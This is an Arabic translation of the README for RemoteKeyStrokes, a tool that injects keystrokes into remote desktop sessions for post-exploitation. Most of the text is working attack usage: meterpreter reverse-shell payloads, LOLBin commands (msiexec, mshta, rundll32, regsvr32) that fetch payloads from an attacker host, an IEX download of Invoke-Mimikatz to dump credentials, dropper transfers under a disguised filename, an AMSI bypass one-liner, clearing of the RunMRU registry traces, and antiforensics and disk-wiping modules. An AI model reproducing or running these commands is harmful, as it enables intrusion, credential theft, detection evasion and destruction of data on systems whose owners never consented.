
نص برمجي لأتمتة ضغطات المفاتيح عبر برنامج سطح مكتب رسومي.
نص برمجي لأتمتة ضغطات المفاتيح عبر جلسة سطح مكتب عن بُعد نشطة، يساعد المشغلين الهجوميين بالاقتران مع تقنيات العيش على الأرض. كل الفضل يعود إلى nopernik لجعل ذلك ممكنًا، لذا أخذت على عاتقي تحسينه. أردت شيئًا يساعد خلال مرحلة ما بعد الاستغلال عند تنفيذ الأوامر عبر سطح مكتب عن بُعد. كما كان من الممكن إنشاء مشروع SCPA لجمع الموارد بطريقة منظمة.
قم بتثبيت بقية التبعيات وفقًا لمدير الحزم الخاص بك.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### الإعداد
قم بتثبيت البرنامج على النظام وإنشاء `rks` كرابط رمزي لـ `remotekeystrokes`. سيعمل هذا كاسم مستعار للأمر.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Usage
### 0x00 - المصادقة عن بُعد
#### الرموز
- علامة الدولار (`$`) تشير إلى موجه shell في يونكس بصلاحيات مستخدم عادية، وتتضمن الأوامر.
- الأقواس الزاوية (`<>`) تعني المعاملات الإجبارية.
- الأقواس المربعة (`[]`) تعني المعاملات الاختيارية إذا لم يكن مطلوبًا تحديدها.
#### RDP
لمصادقة أنظمة التشغيل الحديثة، حدد العلامة إما لفرض المصادقة كـ TLS `/sec:tls` أو المصادقة كـ NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
لمصادقة أنظمة التشغيل القديمة، حدد العلم /sec:rdp لفرض المصادقة القديمة.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
للمصادقة عن بُعد على جهاز VNC.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
لاستخدام remotekeystrokes (أو الأمر المستعار rks) عند تنفيذ الأوامر على جهاز ويندوز الهدف بجلسة عن بُعد موثقة. قبل تنفيذها، يجب التنقل باستخدام اسم النافذة (-w)، وبشكل افتراضي سيبحث عن FreeRDP عند استخدام xfreerdp. عند استهداف أنظمة تستخدم برنامج دخول عن بُعد مختلف، تأكد من تحديد اسم النافذة. استخدم العلم -c لإصدار الأوامر. يمكنك أيضًا إعداد ملف نصي لإدراج الأوامر وسيقرأها واحدًا تلو الآخر. سيتحقق العلم مما إذا كان النص سلسلة أم ملفًا.
بالنسبة لبرامج سطح المكتب البعيد الرسومية مثل FreeRDP وRemmina وبرامج الطرف الثالث الأخرى. على عكس جلسات الطرفية البعيدة مثل telnet و ssh. يجب توجيه المؤشر إلى تطبيق نشط داخل الجهاز الهدف. على سبيل المثال، في بيئة ويندوز يجب فتح موجه أوامر (cmd.exe) أو باورشيل (powershell.exe). من الممكن لويندوز فتح البرامج باستخدام مربع حوار (-m dialogbox) للتشغيل السريع. تأكد من مسح الآثار من إدخال السجل عند التنفيذ الأولي بهذه الطريقة. يقع في HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. سترى أمثلة على كيفية تنفيذ إجراءات هجومية سريعة باستخدام تقنيات العيش على الأرض (LotL) فقط.
تعداد الجهاز المحلي.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
للتنفيذ في أمر واحد. هذا موجز خاصة عند الاستخدام مع مربع حوار.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
تعداد Active directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
للتنفيذ في أمر واحد. هذا موجز خاصة عند الاستخدام مع مربع حوار.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
تعداد الجهاز المحلي (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active directory enumeration (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
قم بتنفيذ الحمولة أثناء قراءة محتويات الباورشيل.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
نفذ حمولة باورشيل في سطر واحد باستخدام وحدة الاستغلال `exploit/multi/script/web_delivery` من إطار `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
نفذ الحمولة باستخدام msiexec.exe أثناء استضافة خادم ويب.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
نفذ الحمولة باستخدام `mshta.exe` بواسطة وحدة الاستغلال `exploit/windows/misc/hta_server` من إطار `metasploit-framework`.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"
$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox
قم بتنفيذ الحمولة باستخدام rundll32.exe من خلال وحدة الاستغلال exploit/windows/smb/smb_delivery التابعة لـ metasploit-framework.```
$ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"
$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox
نفذ الحمولة باستخدام `regsvr32.exe` باستخدام وحدة استغلال `metasploit-framework` `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox
قم بالتنفيذ والزرع باستخدام python ووحدة الاستغلال metasploit-framework وهي exploit/multi/script/web_delivery.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "python -c """
### 0x03 - نقل الملفات
يوجد إجمالاً 11 طريقة لنقل الملفات.
| Method | Platform | الوصف |
| -------------- | ----------------- | ----------- |
| `pwshb64` | Windows and Linux | يقوم بتشفير الملف إلى base64 ثم فك تشفيره باستخدام powershell. |
| `cmdb64` | Windows | يستخدم `copy con` لإخراج محتوى ملف base64 المشفر ثم فك تشفيره باستخدام `CertUtil.exe`. |
| `nixb64` | Unix | يقوم بفك تشفير محتوى base64 إلى ملف. |
| `outfile` | Windows and Linux | يستخدم cmdlet `Out-File` لإخراج الملف النصي. |
| `outfileb64` | Windows | يستخدم cmdlet `Out-File` لإخراج محتوى ملف base64 المشفر ثم فك تشفيره باستخدام `CertUtil.exe`. |
| `copycon` | Windows | يستخدم أمر `copy con` لإخراج الملف النصي. |
| `pwshhex` | Windows and Linux | يقوم بتشفير الملف إلى سداسي عشري ثم فك تشفيره باستخدام powershell. |
| `cmdhex` | Windows | إخراج سطر واحد مشفر سداسي عشري في متغير ثم فك تشفيره باستخدام `CertUtil.exe`. |
| `copyconhex` | Windows | يستخدم `copy con` لإخراج محتوى ملف التفريغ السداسي العشري المشفر ثم فك تشفيره باستخدام `CertUtil.exe`. |
| `nixhex` | Unix | إخراج سطر واحد مشفر سداسي عشري في متغير ثم فك تشفيره باستخدام `echo -e` لتفسير حرف التسلسل `\x`. هذا مناسب عند التعامل مع أجهزة إنترنت الأشياء خاصة عندما يفتقر Telnet إلى ميزة نقل الملفات.|
| `outfilehex` | Windows | يستخدم cmdlet `Out-File` لإخراج محتوى ملف التفريغ السداسي العشري المشفر ثم فك تشفيره باستخدام `CertUtil.exe`. |
قم برفع ملف عن بعد عند التنقل في شبكة معزولة. إذا كنت تريد تحديد المسار البعيد على Windows فتأكد من تضمين علامات الاقتباس. افتراضياً، يستخدم Powershell base64 لنقل الملفات إذا لم يتم تحديد خلاف ذلك. يشمل ذلك أيضاً أدوات الإسقاط (droppers) حتى لو كان الحجم كبيراً. ضع في اعتبارك أنه سيستغرق وقتاً لإكمال نقل الملف.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!
لنقل droppers، يمكنك استخدام CertUtil.exe base64 خاصة إذا كان كبيرًا.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe
لنقل droppers باستخدام powershell عبر `CertUtil.exe` base64.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m outfileb64
من الممكن أيضًا لأنظمة التشغيل القديمة نقل الملفات مثل، Windows XP الذي يفتقر إلى powershell باستثناء command prompt.``` $ rks -c "cmd.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m cmdb64
قم بتفعيل مستمع C2 الخاص بك وتنفيذ الـ payload.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"
$ rks -c ".\payload.exe"
طريقة أخرى لنقل الملفات خاصةً لأدوات مسؤولي الأنظمة والأدوات الهجومية. لنأخذ PsExec64.exe كمثال يتطلب منا الحركة الجانبية. سيستغرق وقتًا طويلاً لرفعه عبر النص دون انقطاع. بدلاً من ذلك، أسرع طريقة هي تحميل WebDAV التابع للموقع الشرعي لمجموعة أدوات sysinternals (live.sysinternals.com). بدلاً من استخدام مستكشف الملفات الأبطأ بكثير من تنفيذ الأوامر. فيما يلي الأوامر لموجه الأوامر.```
$ cat commands.txt
net use z: \live.sysinternals.com\tools
copy z:\PsExec64.exe .
net use z: /delete
$ rks -c "cmd.exe" -m dialogbox
$ rks -c commands.txt
إليك متغير آخر لأوامر powershell cmdlets عند نقل `PsExec64.exe` في Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z
$ rks -c "powershell.exe" -m dialogbox
$ rks -c cmdlets.txt
أفضل طريقة لاسترداد البرامج الضارة غير الملفية أو الأدوات الهجومية عبر باورشيل هي ببساطة استضافة/استرداد مواقع ويب شرعية مثل https://github.com وتنفيذها. دعنا نستخدم Invoke-Mimikatz لاسترداد بيانات الاعتماد عن طريق تنزيل وتنفيذ المهد من nishang.```
$ cat hashdump.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
$ rks -c "powershell.exe" -m dialogbox
$ rks -c hashdump.txt
إذا كان لديك ملفات كبيرة يكاد يكون من المستحيل انتظار انتهاء نقل الملف. `xfreerdp` يسمح بتركيب دليل محلي باستخدام العلم `/drive:/path/to/directory/`. ثم انتقل إلى متصفح الملفات أو موجه الأوامر إلى `\\tsclient\<share_name>\` لعرض المحتويات.```
$ mkdir Tools
$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "dir \\tsclient\<share_name>\"
ملاحظة: WIP (عمل قيد التقدم)``` $ rks -m elevate -s bypassuac -a info
$ rks -m elevate -s <sub_method>
### 0x05 - الثبات
ملاحظة: WIP (عمل قيد التنفيذ)```
$ rks -m persistence -s createuser
$ rks -m persistence -s sethc
ملاحظة: WIP (قيد العمل)
يمكنك الجمع بين AMSI Bypass مع غرسة powershell لتجاوز Windows Security أو أي حل أمني تم دمجه مع ماسح AMSI.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
الرجاء تزويدي بالمحتوى المراد ترجمته.```
$ rks -m antiforensics -s wevutils
$ rks -m antiforensics -s winevent
$ rks -m antiforensics -s eventvwr
ملاحظة: WIP (قيد العمل)``` $ rks -m mayhem -s diskpart -a info
$ rks -m mayhem -s diskpart -a cmd
$ rks -m mayhem -s diskpart -a pwsh
### 0x08 - تحديد اسم النافذة.
إذا كنت تستهدف بروتوكولات الشبكة مثل VNC أو Telnet أو غيرها، يمكنك تحديد اسم النافذة. يكون هذا مفيدًا عندما تستخدم `remmina` أو مثيل طرفية آخر مع نافذة معاد تسميتها.```
$ rks -c implant.ps1 -w <window_name>
من المؤلم جدًا أن أكتب يدويًا باستخدام لوحة المفاتيح أو أن أتنقل وأضغط بالفأرة خاصة خارج الشبكة المحلية. أريد فقط تسريع العملية وخاصة عند اختراق الشبكة.
ليس بالضرورة. لقد جعلته ممكنًا للوحدات التحكم عن بُعد مثل Telnet لأنه يفتقر إلى ميزة نقل الملفات.
التقنيات شائعة ويمكن إعادة استخدامها في BadUSB أو تطوير البرامج الضارة أو أي مشاريع أخرى ذات صلة. إنها مرخصة بموجب رخصة GNU GPLv3 copyleft التي تسمح لك بصفتك المستخدم بحق رؤية كيفية عمل البرنامج وتعديل الكود المصدري حسب متطلباتك وإعادة توزيعه على مستخدمين آخرين مع الكود المصدري.
wayland؟في الوقت الحالي لا توجد أي أدوات wayland متوافقة للعثور على بديل أو استبدال لـ xdotool. dotool واعد جدًا ولكنه يفتقر إلى ميزة محددة لتركيز النوافذ. kdotool متاح فقط لبيئات سطح مكتب KDE. قد أضطر إلى إعادة اختراعها في Go (حيث أن dotool موجود) أو Python مع مكتبة pynput.
عند تشغيل البرنامج لأول مرة يجب أن يعرض بعض الرسائل التوضيحية الذاتية. قم بالتبديل إلى خادم النوافذ x11. راجع الأسئلة الشائعة لمعرفة سبب عدم دعم wayland.```
$ rks -c "powershell.exe" -m searchbox
[ERROR] Wayland isn't supported!
[*] Terminating program...
### إلغاء تثبيت الأداة الهجومية
لإلغاء تثبيتها.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks
تنفيذ طريقة تشفير AES256 عبر base64
تنفيذ بقية طرق الرفع: Base32, Base2, Base10, Base8
تنفيذ وظيفة privesc لكل من windows و linux
تنفيذ وظيفة الاستمرارية (persistence) لكل من windows و linux
تنفيذ وظيفة مكافحة الطب الشرعي (antiforensics) لكل من windows و linux
تنفيذ وظيفة mayhem لكل من windows و linux
إنها مسؤوليتك أنت، وفقًا لدوافع أفعالك أيها المستخدم. تذكر أن القوة العظيمة تأتي بمسؤولية عظيمة.